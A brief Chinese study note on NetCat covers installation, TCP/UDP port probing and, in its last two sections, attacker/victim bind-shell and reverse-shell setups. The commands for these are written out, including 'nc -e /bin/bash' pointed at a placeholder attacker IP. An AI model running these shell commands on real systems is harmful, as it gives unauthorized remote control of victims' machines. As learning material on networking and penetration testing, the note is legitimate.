【笔记】NetCat学习笔记

前言

NetCat学习笔记

下载依赖

Windows

MacOS

1
brew install netcat

探测端口

TCP

-v:显示细节

1
nc -z <ip> <port>
1
nc -z <ip> <port_1> <port_2>

UDP

1
nc -zu <ip> <port>
1
nc -zu <ip> <port_1> <port_2>

正向连接

受害者监听端口

<port>:监听的端口号

1
nc -e /bin/bash -lvp <port>

攻击者建立连接

<ip>:受害者的IP地址
<port>:受害者的端口号

1
nc <ip> <port>

反向连接

攻击者监听反弹Shell

-l:监听模式
-v:详细模式
-p <port>:指定端口号,可以省略-p

<port>:监听的端口号

-u:监听UDP端口,如果不指定则监听TCP端口

1
nc -lv <port>

受害者反弹Shell

-e <exe>:转发指定可执行程序的输入和输出
<ip>:攻击者的IP地址
<port>:攻击者监听的端口号

1
nc -e /bin/bash <ip> <port>

完成

参考文献

CSDN——mry6